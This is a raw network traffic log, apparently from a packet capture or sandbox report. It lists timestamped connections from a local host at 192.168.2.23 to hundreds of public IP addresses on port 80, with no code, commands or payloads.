Feb 4, 2025 18:17:38.420290947 CET	57236	80	192.168.2.23	123.116.228.208
Feb 4, 2025 18:17:38.420290947 CET	45106	80	192.168.2.23	159.221.50.75
Feb 4, 2025 18:17:38.420291901 CET	59612	80	192.168.2.23	171.71.7.148
Feb 4, 2025 18:17:38.420291901 CET	34704	80	192.168.2.23	193.13.129.58
Feb 4, 2025 18:17:38.420290947 CET	55548	80	192.168.2.23	58.99.147.68
Feb 4, 2025 18:17:38.420291901 CET	60040	80	192.168.2.23	147.98.12.164
Feb 4, 2025 18:17:38.420290947 CET	56062	80	192.168.2.23	198.163.207.89
Feb 4, 2025 18:17:38.420290947 CET	58350	80	192.168.2.23	89.108.204.66
Feb 4, 2025 18:17:38.420306921 CET	54546	80	192.168.2.23	126.126.220.124
Feb 4, 2025 18:17:38.420308113 CET	41148	80	192.168.2.23	138.117.213.242
Feb 4, 2025 18:17:38.420316935 CET	58486	80	192.168.2.23	106.167.68.251
Feb 4, 2025 18:17:38.420320034 CET	35844	80	192.168.2.23	13.204.77.15
Feb 4, 2025 18:17:38.420320034 CET	54016	80	192.168.2.23	122.100.83.75
Feb 4, 2025 18:17:38.420320034 CET	57070	80	192.168.2.23	94.178.7.124
Feb 4, 2025 18:17:38.420320988 CET	49148	80	192.168.2.23	44.46.161.18
Feb 4, 2025 18:17:38.420320988 CET	52232	80	192.168.2.23	32.237.103.155
Feb 4, 2025 18:17:38.420320034 CET	37738	80	192.168.2.23	50.148.137.8
Feb 4, 2025 18:17:38.420320988 CET	52136	80	192.168.2.23	62.130.67.206
Feb 4, 2025 18:17:38.420326948 CET	56986	80	192.168.2.23	136.188.194.235
Feb 4, 2025 18:17:38.420326948 CET	35940	80	192.168.2.23	138.11.100.125
Feb 4, 2025 18:17:38.420326948 CET	55450	80	192.168.2.23	96.12.237.21
Feb 4, 2025 18:17:38.420331955 CET	58558	80	192.168.2.23	140.58.151.1
Feb 4, 2025 18:17:38.420331955 CET	58032	80	192.168.2.23	165.28.117.196
Feb 4, 2025 18:17:38.420336008 CET	53138	80	192.168.2.23	146.67.180.234
Feb 4, 2025 18:17:38.420336008 CET	48724	80	192.168.2.23	168.204.45.53
Feb 4, 2025 18:17:38.420336962 CET	51920	80	192.168.2.23	78.251.75.96
Feb 4, 2025 18:17:38.420336962 CET	45690	80	192.168.2.23	106.250.108.219
Feb 4, 2025 18:17:38.420345068 CET	48532	80	192.168.2.23	211.18.137.254
Feb 4, 2025 18:17:38.420346022 CET	52466	80	192.168.2.23	5.124.253.22
Feb 4, 2025 18:17:38.420346022 CET	58208	80	192.168.2.23	191.144.192.73
Feb 4, 2025 18:17:38.420346975 CET	55904	80	192.168.2.23	134.14.146.1
Feb 4, 2025 18:17:38.420347929 CET	44888	80	192.168.2.23	43.114.213.162
Feb 4, 2025 18:17:38.420348883 CET	49428	80	192.168.2.23	180.26.115.199
Feb 4, 2025 18:17:38.420348883 CET	48644	80	192.168.2.23	51.173.224.165
Feb 4, 2025 18:17:38.420352936 CET	35716	80	192.168.2.23	177.80.244.140
Feb 4, 2025 18:17:38.420352936 CET	36342	80	192.168.2.23	104.130.211.52
Feb 4, 2025 18:17:38.420353889 CET	55036	80	192.168.2.23	193.157.59.52
Feb 4, 2025 18:17:38.420353889 CET	55242	80	192.168.2.23	36.215.21.101
Feb 4, 2025 18:17:38.420355082 CET	34596	80	192.168.2.23	165.206.66.246
Feb 4, 2025 18:17:38.420370102 CET	41846	80	192.168.2.23	137.136.123.182
Feb 4, 2025 18:17:38.420370102 CET	50908	80	192.168.2.23	149.69.125.7
Feb 4, 2025 18:17:38.420370102 CET	44610	80	192.168.2.23	67.39.122.4
Feb 4, 2025 18:17:38.420372009 CET	58674	80	192.168.2.23	135.243.241.188
Feb 4, 2025 18:17:38.420372009 CET	45424	80	192.168.2.23	192.120.151.211
Feb 4, 2025 18:17:38.420372009 CET	35464	80	192.168.2.23	104.41.168.53
Feb 4, 2025 18:17:38.420380116 CET	40832	80	192.168.2.23	13.71.41.29
Feb 4, 2025 18:17:38.420384884 CET	49892	80	192.168.2.23	188.70.1.82
Feb 4, 2025 18:17:38.420384884 CET	48630	80	192.168.2.23	101.15.139.86
Feb 4, 2025 18:17:38.420386076 CET	37146	80	192.168.2.23	194.129.199.106
Feb 4, 2025 18:17:38.420387030 CET	50030	80	192.168.2.23	32.156.11.239
Feb 4, 2025 18:17:38.420387030 CET	54152	80	192.168.2.23	161.152.27.77
Feb 4, 2025 18:17:38.420392990 CET	52480	80	192.168.2.23	75.29.86.116
Feb 4, 2025 18:17:38.420394897 CET	47892	80	192.168.2.23	194.34.3.27
Feb 4, 2025 18:17:38.420418024 CET	42936	80	192.168.2.23	191.85.35.11
Feb 4, 2025 18:17:38.420442104 CET	56364	80	192.168.2.23	187.170.55.10
Feb 4, 2025 18:17:38.424978018 CET	80	33260	133.83.119.49	192.168.2.23
Feb 4, 2025 18:17:38.425043106 CET	33260	80	192.168.2.23	133.83.119.49
Feb 4, 2025 18:17:38.425153971 CET	46308	80	192.168.2.23	66.136.3.127
Feb 4, 2025 18:17:38.425153971 CET	46308	80	192.168.2.23	88.69.109.3
Feb 4, 2025 18:17:38.425163031 CET	46308	80	192.168.2.23	79.160.216.41
Feb 4, 2025 18:17:38.425167084 CET	46308	80	192.168.2.23	2.80.99.9
Feb 4, 2025 18:17:38.425177097 CET	46308	80	192.168.2.23	141.6.43.149
Feb 4, 2025 18:17:38.425179005 CET	46308	80	192.168.2.23	170.32.213.188
Feb 4, 2025 18:17:38.425182104 CET	46308	80	192.168.2.23	174.95.123.163
Feb 4, 2025 18:17:38.425182104 CET	46308	80	192.168.2.23	124.29.9.253
Feb 4, 2025 18:17:38.425183058 CET	46308	80	192.168.2.23	137.196.210.224
Feb 4, 2025 18:17:38.425182104 CET	46308	80	192.168.2.23	57.182.234.176
Feb 4, 2025 18:17:38.425183058 CET	46308	80	192.168.2.23	129.83.44.52
Feb 4, 2025 18:17:38.425199986 CET	46308	80	192.168.2.23	211.34.206.193
Feb 4, 2025 18:17:38.425200939 CET	46308	80	192.168.2.23	217.86.146.213
Feb 4, 2025 18:17:38.425203085 CET	46308	80	192.168.2.23	27.79.143.57
Feb 4, 2025 18:17:38.425203085 CET	46308	80	192.168.2.23	77.98.26.84
Feb 4, 2025 18:17:38.425203085 CET	46308	80	192.168.2.23	195.98.220.180
Feb 4, 2025 18:17:38.425215960 CET	46308	80	192.168.2.23	170.147.150.167
Feb 4, 2025 18:17:38.425224066 CET	46308	80	192.168.2.23	212.210.110.253
Feb 4, 2025 18:17:38.425224066 CET	46308	80	192.168.2.23	43.65.60.71
Feb 4, 2025 18:17:38.425225019 CET	46308	80	192.168.2.23	104.125.36.184
Feb 4, 2025 18:17:38.425225973 CET	46308	80	192.168.2.23	140.62.252.122
Feb 4, 2025 18:17:38.425225973 CET	46308	80	192.168.2.23	38.214.254.109
Feb 4, 2025 18:17:38.425231934 CET	46308	80	192.168.2.23	135.221.225.94
Feb 4, 2025 18:17:38.425240040 CET	46308	80	192.168.2.23	34.58.198.12
Feb 4, 2025 18:17:38.425250053 CET	46308	80	192.168.2.23	61.136.9.239
Feb 4, 2025 18:17:38.425250053 CET	46308	80	192.168.2.23	130.176.0.65
Feb 4, 2025 18:17:38.425250053 CET	46308	80	192.168.2.23	25.20.243.45
Feb 4, 2025 18:17:38.425252914 CET	46308	80	192.168.2.23	132.192.197.183
Feb 4, 2025 18:17:38.425263882 CET	46308	80	192.168.2.23	95.229.192.166
Feb 4, 2025 18:17:38.425266981 CET	46308	80	192.168.2.23	68.158.108.96
Feb 4, 2025 18:17:38.425266981 CET	46308	80	192.168.2.23	66.180.202.21
Feb 4, 2025 18:17:38.425271034 CET	46308	80	192.168.2.23	142.76.117.131
Feb 4, 2025 18:17:38.425276995 CET	46308	80	192.168.2.23	12.15.22.66
Feb 4, 2025 18:17:38.425285101 CET	46308	80	192.168.2.23	101.229.130.239
Feb 4, 2025 18:17:38.425283909 CET	46308	80	192.168.2.23	188.179.225.135
Feb 4, 2025 18:17:38.425285101 CET	46308	80	192.168.2.23	153.244.206.183
Feb 4, 2025 18:17:38.425285101 CET	46308	80	192.168.2.23	59.245.219.228
Feb 4, 2025 18:17:38.425285101 CET	46308	80	192.168.2.23	117.110.114.172
Feb 4, 2025 18:17:38.425290108 CET	46308	80	192.168.2.23	201.180.5.130
Feb 4, 2025 18:17:38.425290108 CET	46308	80	192.168.2.23	144.232.157.171
Feb 4, 2025 18:17:38.425296068 CET	46308	80	192.168.2.23	54.102.238.102
Feb 4, 2025 18:17:38.425303936 CET	46308	80	192.168.2.23	54.217.133.29
Feb 4, 2025 18:17:38.425307989 CET	46308	80	192.168.2.23	39.180.31.207
Feb 4, 2025 18:17:38.425308943 CET	46308	80	192.168.2.23	45.9.42.112
Feb 4, 2025 18:17:38.425318003 CET	46308	80	192.168.2.23	14.136.58.188
Feb 4, 2025 18:17:38.425328016 CET	46308	80	192.168.2.23	156.30.118.132
Feb 4, 2025 18:17:38.425333023 CET	46308	80	192.168.2.23	142.156.195.87
Feb 4, 2025 18:17:38.425348997 CET	46308	80	192.168.2.23	80.69.178.215
Feb 4, 2025 18:17:38.425348997 CET	46308	80	192.168.2.23	160.26.79.127
Feb 4, 2025 18:17:38.425349951 CET	46308	80	192.168.2.23	196.58.195.5
Feb 4, 2025 18:17:38.425355911 CET	46308	80	192.168.2.23	20.50.9.131
Feb 4, 2025 18:17:38.425355911 CET	46308	80	192.168.2.23	123.140.22.203
Feb 4, 2025 18:17:38.425355911 CET	46308	80	192.168.2.23	82.254.63.175
Feb 4, 2025 18:17:38.425358057 CET	46308	80	192.168.2.23	151.243.228.131
Feb 4, 2025 18:17:38.425358057 CET	46308	80	192.168.2.23	100.54.248.172
Feb 4, 2025 18:17:38.425358057 CET	46308	80	192.168.2.23	156.210.67.240
Feb 4, 2025 18:17:38.425359011 CET	46308	80	192.168.2.23	81.51.42.248
Feb 4, 2025 18:17:38.425360918 CET	46308	80	192.168.2.23	177.235.156.69
Feb 4, 2025 18:17:38.425360918 CET	46308	80	192.168.2.23	109.82.102.93
Feb 4, 2025 18:17:38.425369024 CET	46308	80	192.168.2.23	186.89.203.229
Feb 4, 2025 18:17:38.425379038 CET	46308	80	192.168.2.23	99.14.102.88
Feb 4, 2025 18:17:38.425379992 CET	46308	80	192.168.2.23	135.106.157.129
Feb 4, 2025 18:17:38.425379992 CET	46308	80	192.168.2.23	167.19.145.196
Feb 4, 2025 18:17:38.425379992 CET	46308	80	192.168.2.23	165.163.229.16
Feb 4, 2025 18:17:38.425379992 CET	46308	80	192.168.2.23	125.199.8.144
Feb 4, 2025 18:17:38.425391912 CET	46308	80	192.168.2.23	67.1.113.244
Feb 4, 2025 18:17:38.425393105 CET	46308	80	192.168.2.23	131.228.134.81
Feb 4, 2025 18:17:38.425393105 CET	46308	80	192.168.2.23	65.51.127.247
Feb 4, 2025 18:17:38.425396919 CET	46308	80	192.168.2.23	54.175.226.46
Feb 4, 2025 18:17:38.425396919 CET	46308	80	192.168.2.23	194.195.65.209
Feb 4, 2025 18:17:38.425399065 CET	46308	80	192.168.2.23	70.162.147.176
Feb 4, 2025 18:17:38.425405979 CET	46308	80	192.168.2.23	64.231.151.127
Feb 4, 2025 18:17:38.425405979 CET	46308	80	192.168.2.23	60.229.234.50
Feb 4, 2025 18:17:38.425409079 CET	46308	80	192.168.2.23	159.26.182.254
Feb 4, 2025 18:17:38.425411940 CET	46308	80	192.168.2.23	158.109.157.146
Feb 4, 2025 18:17:38.425411940 CET	46308	80	192.168.2.23	118.137.37.47
Feb 4, 2025 18:17:38.425411940 CET	46308	80	192.168.2.23	130.143.52.28
Feb 4, 2025 18:17:38.425411940 CET	46308	80	192.168.2.23	141.227.121.217
Feb 4, 2025 18:17:38.425412893 CET	46308	80	192.168.2.23	209.193.187.117
Feb 4, 2025 18:17:38.425417900 CET	46308	80	192.168.2.23	12.182.19.182
Feb 4, 2025 18:17:38.425417900 CET	46308	80	192.168.2.23	141.34.122.39
Feb 4, 2025 18:17:38.425420046 CET	46308	80	192.168.2.23	186.222.44.227
Feb 4, 2025 18:17:38.425420046 CET	46308	80	192.168.2.23	60.65.164.20
Feb 4, 2025 18:17:38.425424099 CET	46308	80	192.168.2.23	209.69.235.174
Feb 4, 2025 18:17:38.425425053 CET	46308	80	192.168.2.23	211.200.210.13
Feb 4, 2025 18:17:38.425424099 CET	46308	80	192.168.2.23	213.87.203.205
Feb 4, 2025 18:17:38.425426960 CET	46308	80	192.168.2.23	35.48.96.136
Feb 4, 2025 18:17:38.425431013 CET	46308	80	192.168.2.23	50.110.235.224
Feb 4, 2025 18:17:38.425440073 CET	46308	80	192.168.2.23	74.112.71.200
Feb 4, 2025 18:17:38.425445080 CET	46308	80	192.168.2.23	211.197.14.239
Feb 4, 2025 18:17:38.425463915 CET	46308	80	192.168.2.23	154.133.160.179
Feb 4, 2025 18:17:38.425463915 CET	46308	80	192.168.2.23	178.195.81.1
Feb 4, 2025 18:17:38.425463915 CET	46308	80	192.168.2.23	61.93.58.177
Feb 4, 2025 18:17:38.425463915 CET	46308	80	192.168.2.23	53.121.112.103
Feb 4, 2025 18:17:38.425463915 CET	46308	80	192.168.2.23	187.119.0.95
Feb 4, 2025 18:17:38.425463915 CET	46308	80	192.168.2.23	207.158.242.44
Feb 4, 2025 18:17:38.425472021 CET	46308	80	192.168.2.23	138.184.188.26
Feb 4, 2025 18:17:38.425474882 CET	46308	80	192.168.2.23	48.118.216.39
Feb 4, 2025 18:17:38.425474882 CET	46308	80	192.168.2.23	113.182.187.115
Feb 4, 2025 18:17:38.425477982 CET	46308	80	192.168.2.23	137.50.115.95
Feb 4, 2025 18:17:38.425477982 CET	46308	80	192.168.2.23	193.28.216.81
Feb 4, 2025 18:17:38.425481081 CET	46308	80	192.168.2.23	101.106.85.143
Feb 4, 2025 18:17:38.425493002 CET	46308	80	192.168.2.23	27.178.168.61
Feb 4, 2025 18:17:38.425499916 CET	46308	80	192.168.2.23	17.244.130.226
Feb 4, 2025 18:17:38.425501108 CET	46308	80	192.168.2.23	35.254.136.247
Feb 4, 2025 18:17:38.425499916 CET	46308	80	192.168.2.23	105.100.156.101
Feb 4, 2025 18:17:38.425501108 CET	46308	80	192.168.2.23	80.253.102.156
Feb 4, 2025 18:17:38.425499916 CET	46308	80	192.168.2.23	217.141.175.144
Feb 4, 2025 18:17:38.425507069 CET	46308	80	192.168.2.23	149.250.149.224
Feb 4, 2025 18:17:38.425507069 CET	46308	80	192.168.2.23	23.111.27.66
Feb 4, 2025 18:17:38.425507069 CET	46308	80	192.168.2.23	173.209.218.156
Feb 4, 2025 18:17:38.425507069 CET	46308	80	192.168.2.23	149.47.247.214
Feb 4, 2025 18:17:38.425509930 CET	46308	80	192.168.2.23	211.111.163.127
Feb 4, 2025 18:17:38.425512075 CET	46308	80	192.168.2.23	176.250.116.57
Feb 4, 2025 18:17:38.425512075 CET	46308	80	192.168.2.23	4.218.105.82
Feb 4, 2025 18:17:38.425514936 CET	46308	80	192.168.2.23	168.238.7.148
Feb 4, 2025 18:17:38.425525904 CET	46308	80	192.168.2.23	220.25.49.22
Feb 4, 2025 18:17:38.425534010 CET	46308	80	192.168.2.23	115.97.24.219
Feb 4, 2025 18:17:38.425540924 CET	46308	80	192.168.2.23	201.180.158.194
Feb 4, 2025 18:17:38.425540924 CET	46308	80	192.168.2.23	223.120.84.132
Feb 4, 2025 18:17:38.425555944 CET	46308	80	192.168.2.23	4.117.182.216
Feb 4, 2025 18:17:38.425575018 CET	46308	80	192.168.2.23	143.95.234.143
Feb 4, 2025 18:17:38.425575018 CET	46308	80	192.168.2.23	47.160.56.172
Feb 4, 2025 18:17:38.425575018 CET	46308	80	192.168.2.23	48.74.204.116
Feb 4, 2025 18:17:38.425575018 CET	46308	80	192.168.2.23	119.177.188.129
Feb 4, 2025 18:17:38.425576925 CET	46308	80	192.168.2.23	90.228.99.95
Feb 4, 2025 18:17:38.425579071 CET	46308	80	192.168.2.23	182.35.22.21
Feb 4, 2025 18:17:38.425579071 CET	46308	80	192.168.2.23	103.158.158.40
Feb 4, 2025 18:17:38.425579071 CET	46308	80	192.168.2.23	197.244.206.238
Feb 4, 2025 18:17:38.425579071 CET	46308	80	192.168.2.23	195.20.17.83
Feb 4, 2025 18:17:38.425584078 CET	46308	80	192.168.2.23	2.174.220.54
Feb 4, 2025 18:17:38.425587893 CET	46308	80	192.168.2.23	201.225.77.61
Feb 4, 2025 18:17:38.425587893 CET	46308	80	192.168.2.23	68.146.228.124
Feb 4, 2025 18:17:38.425590038 CET	46308	80	192.168.2.23	166.254.105.195
Feb 4, 2025 18:17:38.425590038 CET	46308	80	192.168.2.23	129.156.224.214
Feb 4, 2025 18:17:38.425590038 CET	46308	80	192.168.2.23	194.254.151.0
Feb 4, 2025 18:17:38.425594091 CET	46308	80	192.168.2.23	184.22.124.194
Feb 4, 2025 18:17:38.425595999 CET	46308	80	192.168.2.23	155.74.152.1
Feb 4, 2025 18:17:38.425595999 CET	46308	80	192.168.2.23	171.56.21.79
Feb 4, 2025 18:17:38.425607920 CET	46308	80	192.168.2.23	159.163.133.123
Feb 4, 2025 18:17:38.425609112 CET	46308	80	192.168.2.23	61.180.38.124
Feb 4, 2025 18:17:38.425611973 CET	46308	80	192.168.2.23	92.157.66.40
Feb 4, 2025 18:17:38.425611973 CET	46308	80	192.168.2.23	50.94.135.84
Feb 4, 2025 18:17:38.425611973 CET	46308	80	192.168.2.23	77.184.109.101
Feb 4, 2025 18:17:38.425622940 CET	46308	80	192.168.2.23	5.92.96.206
Feb 4, 2025 18:17:38.425623894 CET	46308	80	192.168.2.23	14.182.191.241
Feb 4, 2025 18:17:38.425626040 CET	46308	80	192.168.2.23	206.95.192.90
Feb 4, 2025 18:17:38.425633907 CET	46308	80	192.168.2.23	62.55.109.90
Feb 4, 2025 18:17:38.425633907 CET	46308	80	192.168.2.23	94.181.69.19
Feb 4, 2025 18:17:38.425640106 CET	46308	80	192.168.2.23	195.19.3.191
Feb 4, 2025 18:17:38.425642014 CET	46308	80	192.168.2.23	149.230.152.50
Feb 4, 2025 18:17:38.425652027 CET	46308	80	192.168.2.23	190.60.137.12
Feb 4, 2025 18:17:38.425653934 CET	46308	80	192.168.2.23	161.6.102.251
Feb 4, 2025 18:17:38.425653934 CET	46308	80	192.168.2.23	172.119.169.65
Feb 4, 2025 18:17:38.425666094 CET	46308	80	192.168.2.23	120.171.44.58
Feb 4, 2025 18:17:38.425671101 CET	46308	80	192.168.2.23	49.68.72.150
Feb 4, 2025 18:17:38.425673008 CET	46308	80	192.168.2.23	109.53.10.50
Feb 4, 2025 18:17:38.425676107 CET	46308	80	192.168.2.23	57.36.30.3
Feb 4, 2025 18:17:38.425681114 CET	46308	80	192.168.2.23	54.226.196.96
Feb 4, 2025 18:17:38.425681114 CET	46308	80	192.168.2.23	91.47.177.194
Feb 4, 2025 18:17:38.425681114 CET	46308	80	192.168.2.23	73.133.204.116
Feb 4, 2025 18:17:38.425681114 CET	46308	80	192.168.2.23	201.148.166.233
Feb 4, 2025 18:17:38.425681114 CET	46308	80	192.168.2.23	187.248.224.71
Feb 4, 2025 18:17:38.425694942 CET	46308	80	192.168.2.23	61.49.31.107
Feb 4, 2025 18:17:38.425698996 CET	46308	80	192.168.2.23	95.99.7.202
Feb 4, 2025 18:17:38.425707102 CET	46308	80	192.168.2.23	113.22.166.133
Feb 4, 2025 18:17:38.425714970 CET	46308	80	192.168.2.23	155.134.221.160
Feb 4, 2025 18:17:38.425719976 CET	46308	80	192.168.2.23	136.211.21.40
Feb 4, 2025 18:17:38.425719976 CET	46308	80	192.168.2.23	37.204.230.53
Feb 4, 2025 18:17:38.425719976 CET	46308	80	192.168.2.23	43.164.110.38
Feb 4, 2025 18:17:38.425724030 CET	46308	80	192.168.2.23	191.137.121.179
Feb 4, 2025 18:17:38.425724983 CET	46308	80	192.168.2.23	129.233.208.63
Feb 4, 2025 18:17:38.425726891 CET	46308	80	192.168.2.23	103.251.245.33
Feb 4, 2025 18:17:38.425728083 CET	46308	80	192.168.2.23	170.196.81.25
Feb 4, 2025 18:17:38.425730944 CET	46308	80	192.168.2.23	65.1.247.21
Feb 4, 2025 18:17:38.425731897 CET	46308	80	192.168.2.23	219.70.112.216
Feb 4, 2025 18:17:38.425731897 CET	46308	80	192.168.2.23	199.61.96.15
Feb 4, 2025 18:17:38.425736904 CET	46308	80	192.168.2.23	88.49.180.185
Feb 4, 2025 18:17:38.425736904 CET	46308	80	192.168.2.23	49.112.113.48
Feb 4, 2025 18:17:38.425755024 CET	46308	80	192.168.2.23	5.155.29.31
Feb 4, 2025 18:17:38.425761938 CET	46308	80	192.168.2.23	37.139.101.49
Feb 4, 2025 18:17:38.425761938 CET	46308	80	192.168.2.23	40.172.167.15
Feb 4, 2025 18:17:38.425762892 CET	46308	80	192.168.2.23	216.219.107.248
Feb 4, 2025 18:17:38.425770044 CET	46308	80	192.168.2.23	167.69.78.95
Feb 4, 2025 18:17:38.425770998 CET	46308	80	192.168.2.23	177.108.231.23
Feb 4, 2025 18:17:38.425776005 CET	46308	80	192.168.2.23	27.201.182.209
Feb 4, 2025 18:17:38.425776005 CET	46308	80	192.168.2.23	109.36.47.210
Feb 4, 2025 18:17:38.425776005 CET	46308	80	192.168.2.23	154.47.129.169
Feb 4, 2025 18:17:38.425776005 CET	46308	80	192.168.2.23	154.211.241.74
Feb 4, 2025 18:17:38.425777912 CET	46308	80	192.168.2.23	204.107.160.169
Feb 4, 2025 18:17:38.425780058 CET	46308	80	192.168.2.23	147.53.146.2
Feb 4, 2025 18:17:38.425780058 CET	46308	80	192.168.2.23	217.226.224.178
Feb 4, 2025 18:17:38.425780058 CET	46308	80	192.168.2.23	47.74.195.184
Feb 4, 2025 18:17:38.425780058 CET	46308	80	192.168.2.23	114.11.207.116
Feb 4, 2025 18:17:38.425785065 CET	46308	80	192.168.2.23	147.98.13.252
Feb 4, 2025 18:17:38.425785065 CET	46308	80	192.168.2.23	146.111.121.182
Feb 4, 2025 18:17:38.425791025 CET	46308	80	192.168.2.23	134.84.27.206
Feb 4, 2025 18:17:38.425796986 CET	46308	80	192.168.2.23	212.16.158.34
Feb 4, 2025 18:17:38.425797939 CET	46308	80	192.168.2.23	12.150.90.104
Feb 4, 2025 18:17:38.425797939 CET	46308	80	192.168.2.23	46.20.14.221
Feb 4, 2025 18:17:38.425806999 CET	46308	80	192.168.2.23	47.246.112.238
Feb 4, 2025 18:17:38.425810099 CET	46308	80	192.168.2.23	160.193.11.201
Feb 4, 2025 18:17:38.425810099 CET	46308	80	192.168.2.23	205.106.85.209
Feb 4, 2025 18:17:38.425810099 CET	46308	80	192.168.2.23	63.140.221.99
Feb 4, 2025 18:17:38.425812006 CET	46308	80	192.168.2.23	46.127.181.14
Feb 4, 2025 18:17:38.425812006 CET	46308	80	192.168.2.23	157.48.245.230
Feb 4, 2025 18:17:38.425815105 CET	46308	80	192.168.2.23	102.181.152.181
Feb 4, 2025 18:17:38.425818920 CET	46308	80	192.168.2.23	100.11.41.7
Feb 4, 2025 18:17:38.425832033 CET	46308	80	192.168.2.23	102.115.115.22
Feb 4, 2025 18:17:38.425843000 CET	46308	80	192.168.2.23	92.53.213.49
Feb 4, 2025 18:17:38.425846100 CET	46308	80	192.168.2.23	52.182.49.148
Feb 4, 2025 18:17:38.425847054 CET	46308	80	192.168.2.23	72.225.16.74
Feb 4, 2025 18:17:38.425848007 CET	46308	80	192.168.2.23	43.90.71.168
Feb 4, 2025 18:17:38.425862074 CET	46308	80	192.168.2.23	27.244.163.246
Feb 4, 2025 18:17:38.425862074 CET	46308	80	192.168.2.23	167.197.70.211
Feb 4, 2025 18:17:38.425863981 CET	46308	80	192.168.2.23	160.215.80.145
Feb 4, 2025 18:17:38.425863981 CET	46308	80	192.168.2.23	144.170.206.249
Feb 4, 2025 18:17:38.425863981 CET	46308	80	192.168.2.23	166.116.34.65
Feb 4, 2025 18:17:38.425864935 CET	46308	80	192.168.2.23	110.124.199.137
Feb 4, 2025 18:17:38.425863981 CET	46308	80	192.168.2.23	64.16.68.49
Feb 4, 2025 18:17:38.425883055 CET	46308	80	192.168.2.23	118.245.16.72
Feb 4, 2025 18:17:38.425884008 CET	46308	80	192.168.2.23	27.139.144.75
Feb 4, 2025 18:17:38.425889969 CET	46308	80	192.168.2.23	187.208.83.228
Feb 4, 2025 18:17:38.425889969 CET	46308	80	192.168.2.23	44.16.190.24
Feb 4, 2025 18:17:38.425892115 CET	46308	80	192.168.2.23	18.19.76.26
Feb 4, 2025 18:17:38.425895929 CET	46308	80	192.168.2.23	67.103.228.157
Feb 4, 2025 18:17:38.425899029 CET	46308	80	192.168.2.23	110.154.59.6
Feb 4, 2025 18:17:38.425899029 CET	46308	80	192.168.2.23	44.10.192.245
Feb 4, 2025 18:17:38.425899029 CET	46308	80	192.168.2.23	39.67.113.149
Feb 4, 2025 18:17:38.425903082 CET	46308	80	192.168.2.23	110.87.135.191
Feb 4, 2025 18:17:38.425918102 CET	46308	80	192.168.2.23	71.5.224.170
Feb 4, 2025 18:17:38.425920010 CET	46308	80	192.168.2.23	189.72.204.232
Feb 4, 2025 18:17:38.425920963 CET	46308	80	192.168.2.23	42.198.90.223
Feb 4, 2025 18:17:38.425920963 CET	46308	80	192.168.2.23	146.204.243.165
Feb 4, 2025 18:17:38.425920963 CET	46308	80	192.168.2.23	38.46.250.75
Feb 4, 2025 18:17:38.425920963 CET	46308	80	192.168.2.23	202.183.148.138
Feb 4, 2025 18:17:38.425921917 CET	46308	80	192.168.2.23	173.136.185.33
Feb 4, 2025 18:17:38.425929070 CET	46308	80	192.168.2.23	41.44.158.114
Feb 4, 2025 18:17:38.425935030 CET	46308	80	192.168.2.23	89.56.181.69
Feb 4, 2025 18:17:38.425935030 CET	46308	80	192.168.2.23	174.24.43.22
Feb 4, 2025 18:17:38.425935030 CET	46308	80	192.168.2.23	209.197.28.155
Feb 4, 2025 18:17:38.425935030 CET	46308	80	192.168.2.23	173.247.127.252
Feb 4, 2025 18:17:38.425935030 CET	46308	80	192.168.2.23	58.139.166.253
Feb 4, 2025 18:17:38.425950050 CET	46308	80	192.168.2.23	160.168.174.151
Feb 4, 2025 18:17:38.425950050 CET	46308	80	192.168.2.23	200.254.112.253
Feb 4, 2025 18:17:38.425952911 CET	46308	80	192.168.2.23	140.123.33.152
Feb 4, 2025 18:17:38.425956964 CET	46308	80	192.168.2.23	167.7.73.166
Feb 4, 2025 18:17:38.425961971 CET	46308	80	192.168.2.23	130.218.191.65
Feb 4, 2025 18:17:38.425971031 CET	46308	80	192.168.2.23	145.136.151.60
Feb 4, 2025 18:17:38.425976038 CET	46308	80	192.168.2.23	138.54.20.158
Feb 4, 2025 18:17:38.425976038 CET	46308	80	192.168.2.23	88.78.7.116
Feb 4, 2025 18:17:38.425976038 CET	46308	80	192.168.2.23	60.250.35.237
Feb 4, 2025 18:17:38.425976038 CET	46308	80	192.168.2.23	200.227.40.74
Feb 4, 2025 18:17:38.425976038 CET	46308	80	192.168.2.23	19.242.219.225
Feb 4, 2025 18:17:38.425977945 CET	46308	80	192.168.2.23	219.31.226.239
Feb 4, 2025 18:17:38.425976038 CET	46308	80	192.168.2.23	217.132.180.0
Feb 4, 2025 18:17:38.425998926 CET	46308	80	192.168.2.23	184.101.111.145
Feb 4, 2025 18:17:38.425998926 CET	46308	80	192.168.2.23	137.178.35.64
Feb 4, 2025 18:17:38.426001072 CET	46308	80	192.168.2.23	74.136.101.215
Feb 4, 2025 18:17:38.426007032 CET	46308	80	192.168.2.23	80.106.200.148
Feb 4, 2025 18:17:38.426007032 CET	46308	80	192.168.2.23	75.90.238.153
Feb 4, 2025 18:17:38.426017046 CET	46308	80	192.168.2.23	99.186.81.104
Feb 4, 2025 18:17:38.426017046 CET	46308	80	192.168.2.23	1.41.55.144
Feb 4, 2025 18:17:38.426019907 CET	46308	80	192.168.2.23	162.225.40.241
Feb 4, 2025 18:17:38.426024914 CET	46308	80	192.168.2.23	129.58.235.72
Feb 4, 2025 18:17:38.426032066 CET	46308	80	192.168.2.23	220.221.81.197
Feb 4, 2025 18:17:38.426033020 CET	46308	80	192.168.2.23	5.59.82.162
Feb 4, 2025 18:17:38.426033020 CET	46308	80	192.168.2.23	199.64.212.9
Feb 4, 2025 18:17:38.426033020 CET	46308	80	192.168.2.23	52.232.37.248
Feb 4, 2025 18:17:38.426032066 CET	46308	80	192.168.2.23	218.191.143.158
Feb 4, 2025 18:17:38.426032066 CET	46308	80	192.168.2.23	76.130.233.17
Feb 4, 2025 18:17:38.426032066 CET	46308	80	192.168.2.23	155.172.13.44
Feb 4, 2025 18:17:38.426032066 CET	46308	80	192.168.2.23	84.210.137.7
Feb 4, 2025 18:17:38.426042080 CET	46308	80	192.168.2.23	101.41.36.163
Feb 4, 2025 18:17:38.426049948 CET	46308	80	192.168.2.23	81.204.249.71
Feb 4, 2025 18:17:38.426050901 CET	46308	80	192.168.2.23	199.91.102.18
Feb 4, 2025 18:17:38.426058054 CET	46308	80	192.168.2.23	108.170.216.45
Feb 4, 2025 18:17:38.426062107 CET	46308	80	192.168.2.23	135.74.169.176
Feb 4, 2025 18:17:38.426065922 CET	46308	80	192.168.2.23	209.114.30.17
Feb 4, 2025 18:17:38.426071882 CET	46308	80	192.168.2.23	36.190.129.20
Feb 4, 2025 18:17:38.426078081 CET	46308	80	192.168.2.23	137.72.120.157
Feb 4, 2025 18:17:38.426078081 CET	46308	80	192.168.2.23	139.66.252.112
Feb 4, 2025 18:17:38.426078081 CET	46308	80	192.168.2.23	107.147.118.51
